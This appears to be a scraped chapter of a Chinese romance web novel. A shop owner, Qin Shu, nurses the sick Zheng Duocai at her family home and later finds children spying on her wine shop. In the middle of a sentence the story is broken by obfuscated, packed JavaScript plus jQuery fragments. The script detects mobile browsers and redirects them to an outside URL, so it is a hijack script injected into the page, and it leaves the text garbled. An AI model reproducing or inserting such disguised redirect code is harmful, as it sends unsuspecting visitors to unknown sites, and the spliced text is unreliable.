两个人就这样蹲在药炉面前，盯着眼前安静的汤药罐子。


    也不知过了多久，秦姝眼眶盯得有些发酸：“你说这药到底什么时候能好？”


    一旁的郑多财闻言，也只是摇摇头。


    半晌没有听到声音的秦姝回头一看，就看到郑多财眼眶泛红，每个动作都缓慢无比。


    秦姝伸手摸了一下郑多财的额头，依旧是滚烫的。


    “要不，还是找药童帮忙吧？”


    秦姝展开手心里刚刚焐热的十文钱，询问起郑多财的意见。


    郑多财一愣，还未反应过来，秦姝就已经起身离开了。


    “秦……”


    看着秦姝的背影，郑多财欲言又止。


    这药最后还是在药童的帮忙下煎好的，临离开医馆时，秦姝手里还多了几副药。


    另外，还有一桶活蹦乱跳的鱼。


    原本郑多财还以为是医馆买来的，结果临走时，却看到秦姝拿走了。


    “你哪来的？”


    听到郑多财的疑惑，秦姝解释道：“你之前生病晕倒的时候，我在外面撞到一个卖鱼的小姑娘，估计是第一次出来，险些被人坑骗了。我看着她的鱼都还挺新鲜的，干脆都买回来了。”


    “正巧我喜欢吃，我爹做鱼可会了。可惜你生病了，是没这个口福了……”


    “等回去了，就叫我爹帮你煎药，我从前生病都是爹熬的药。”


    两人走在街上，秦姝有一搭没一搭地说着话，而郑多财则走在身侧，默默听着，再时不时地附和一两句。


    在医馆耽误了不少时间，回到家时，已经很晚了。


    得知郑多财生病后，秦母非要将客房收拾出来，怎么也不放心郑多财一人睡在酒坊。


    秦姝拗不过秦母，也只得由她去了。


    饭桌上，除了秦姝亲口点的鱼汤外，便是一点荤腥也不见，说什么小郑生病了，不能吃太油腻。


    秦姝更是敢怒不敢言，否则估计自己连鱼汤都没有了。


    热气腾腾地青菜瘦肉粥还被秦母贴心地盛到郑多财的碗里，桌上还有一大碗菠菜豆腐汤。


    “伯母，我自己来就好了。”


    忙不迭地从秦母手里接过碗，语气还带着些惶恐，似乎不太习惯别人的关心。


    “小郑啊，你别听桑桑的，今天就住这。酒坊隔得远，你又一个人生了病，晚上如果有什么事我们也好及时知道啊。”


    郑多财点点头，同时还不忘将眼神怯怯地投向秦姝。


    看到郑多财摆出这副被自己欺压的倒霉模样，秦姝直接一个眼刀过去制止。


    但很快，自己就先接收到了自己母亲的眼神警告。


    “哼”


    秦姝鼻孔出气，默默地将头埋进碗里。


    吃过晚饭，秦母去收拾房间，秦父则是去煎药。


    郑多财本想帮秦母自己收拾，却被以灰尘大的理由赶了出去。又去找秦父，说自己来就好，也被拒绝了。


    一时之间，郑多财站在秦家院子里，就连秦姝都在厨房里不知道在忙些什么。反倒是他自己，竟不知道干什么好。


    太阳的余晖照在郑多财的身上，原本因为生病而有些冷的身体，这会也变得暖洋洋了。


    郑多财走到厨房，就看到秦姝在灶台上忙上忙下，随口问道：“秦姝，你在忙什么？”


    “我娘，要我给你熬点红糖姜茶……”


    秦姝说到一半，抬头看向郑多财。


    “从早上开始，你就这副精神不济的模样，你现在还是很难受吗？”


    秦姝说着将手摸上郑多财的额头，确实比前两次的温度低了不少，但还是热热的。


    而郑多财，被秦姝刚碰过凉水的手这么骤然一碰，身体顿时打了一个激灵。


    “还好，不难受。”


    平复下心底那股突然的冷战后，郑多财含含糊糊地回道。


    “你今晚早点休息吧，明天也准你休息一天。”


    秦姝说完，就转身去切姜丝，给红枣去核。


    看着秦姝熟练地处理着这一切，郑多财站在身侧半晌没有出声。


    “秦姝……”


    “怎么了？”


    秦姝头也没回地应道。


    郑多财目光落在锅里的逐渐热起来的姜茶上，姜和红糖的香气逐渐充斥在郑多财的鼻尖，将他丧失大半的嗅觉又重新引诱出来。


    “你们真好。”


    听到郑多财闷闷的声音，秦姝搅动红糖姜茶的手动作一顿。


    在郑多财看不到的地方，秦姝的笑容逐渐展露，又很快收回：“我知道啊，你出去打听打听，我爹我娘还有我，可是祁云镇出了名的大善人！”


    听到秦姝如此自夸的话，郑多财的脸上也忍不住勾起了一抹笑容。


    “谢谢善人们，除了师傅，你们还是第一个对我这么关心的人。”


    秦姝将郑多财今日的异常情况，一律归于是因为生病了，情绪格外敏感一些。


    便也不似从前总是故意噎人，顺着他问道：“那你师傅，是一个什么样的人？”


    “是……一个坑蒙拐骗的游方道士。”


    郑多财笑道，在接触到秦姝投过来的疑惑的眼神时，脸上还绽开了一个大大的笑容：“和我一样。”


    看到郑多财傻笑，秦姝也在不经意间被这样的情绪感染到。


    “真傻。”


    似乎是为了印证秦姝的评价，郑多财还适时地傻笑了两声。


    “小郑！小郑！原来你在这啊，药我已经煎好了，快趁热喝了吧。”


    看着秦父手里端来的那碗满满当当的黑色药汁，郑多财那一刻，只感觉自己先前吃下的粥与豆腐汤在齐齐往自己上面涌。


    而一旁的秦姝似乎也看出了郑多财呆愣表情下的迟疑，开口道：“正好我熬的红糖姜茶也好了，一起喝了，还能压压药的苦味。”


    说完，便转身寻来碗，将红糖姜茶舀上满满一碗。


    郑多财看着面前两碗东西，只感觉刚刚吃的东西已经要到自己的喉头了。


    “要不等会儿再喝吧……”


    郑多财为难地开口道。


    秦父闻言，顿时不解：“傻孩子，说什么胡话呢，喝药怎么能等？你要是嫌苦，我再去给你拿点蜜饯果子。”


    “爹，哪里需要什么蜜饯果子，这姜茶里的红糖红枣我可是放得足足的，保管比一般的蜜饯果子都要甜！”秦姝笑道，只端着手里的姜茶，笑盈盈地看着郑多财。


    秦父听了，也催促郑多财赶快将药趁热喝了。


    郑多财看了一眼催促自己的秦父，又瞧了一眼一脸笑意盈盈的秦姝，只得狠心闭了闭眼，先是将秦父手里的药接过来一饮而尽。


    正准备去接秦姝手里的时候，却感


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034317|161376||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    觉自己嘴里被塞了一个什么东西，还有什么柔软温热的东西在自己唇间擦过。


    还未来得及去细想那是什么，嘴里很快就感受到一丝甜味，迅速占领自己整个口腔，压住那舌苔上的苦药味。


    郑多财茫然睁眼，一脸的懵懂，只瞧见秦姝将装着红糖姜茶的碗放到了一边，又听到她说：“行了，逗你的，这姜茶你待会再喝吧。要是嫌药苦，就先吃点红枣。”


    郑多财咬下自己嘴里的红枣，目光却总是不由自主地落在正在收拾灶台的秦姝的双手上。


    随着咀嚼地动作，嘴里的甜味越来越多。直到最后，将最后一丝苦药的滋味也驱赶干净。


    而郑多财，两颊之处，却也悄然无息地染上一抹浅浅的红晕。


    到了晚上，或许是吃了药的缘故，郑多财睡得格外早，也睡得格外熟。


    最后还是被秦父叫起来的。


    “小郑，先吃点东西，将药喝了再睡不迟。”


    郑多财迷迷糊糊地醒来，洗完脸后，顿时感觉自己神清气爽起来，比起昨天不知道轻松了多少。


    看着又重新生龙活虎起来的郑多财，秦母脸上也挂起了欣慰的笑容。


    吃着被特意留的早饭，郑多财边吃边抬头问：“伯母，桑桑呢？”


    “桑桑一早就去酒坊了……”


    秦母话还未说完，郑多财就连忙吃完碗里剩下的粥，站起身就往外跑：“我去找她！”


    “桑桑不是说今天让你休息吗？”


    秦母看着郑多财转眼就消失的背影，无奈地摇摇头。


    郑多财一路小跑着到了酒坊，看到酒坊的大门开着，一旁还围了好几个小孩，趴在门后鬼鬼祟祟地朝里面张望。


    郑多财走过去，拎起一人的背上的衣领，问道：“你们干什么呢？”


    看到郑多财，其他几个小孩一下就跑开了，反倒是被郑多财抓住后衣领地小孩挣扎了几下，却无济于事。


    “我……我们就是好奇，来看看。”


    听到小孩的话，郑多财狐疑地打量起对方，这才注意到对方穿着学子服，估计是逃学出来的，没想到还逃这么远。


    “你们是逃学出来的吧？我记得私塾离这挺远的，你们几个小孩跑这么远，就不怕遇到拐子啊？”


    郑多财难得正义起来。


    “我们从小就在这里长大，才不会被拐子拐呢！”


    小孩不服气地回道。


    “小破孩，你还犟嘴是吧！我这就把你带到你老师那去，让他教训你！”


    听到郑多财的威胁，小孩立即就变了脸色：“你别告诉我老师，我就是来看看……”


    “这里是酒坊，有什么好看的？难不成你们是想偷酒喝？”


    郑多财刚说出这个猜想，自己的脸色就变了：“好啊！小小年纪不学好！不仅偷东西，还学喝酒！”


    “不是的！我们不是来偷东西！也不是要喝酒的！”


    小孩吓得连忙解释。


    郑多财闻言，脸上写满了不相信：“不是来偷酒的，那是能干吗的？”


    “我们是来看人的。”


    小孩实在没有办法，只得说出了实话。


    “看人？看什么人？”郑多财一脸疑惑，随即反应过来，脸色大变：“好啊！你们小小年纪不学好！我一定要带你们去找你老师！我倒要看看他是怎么教导你们的！”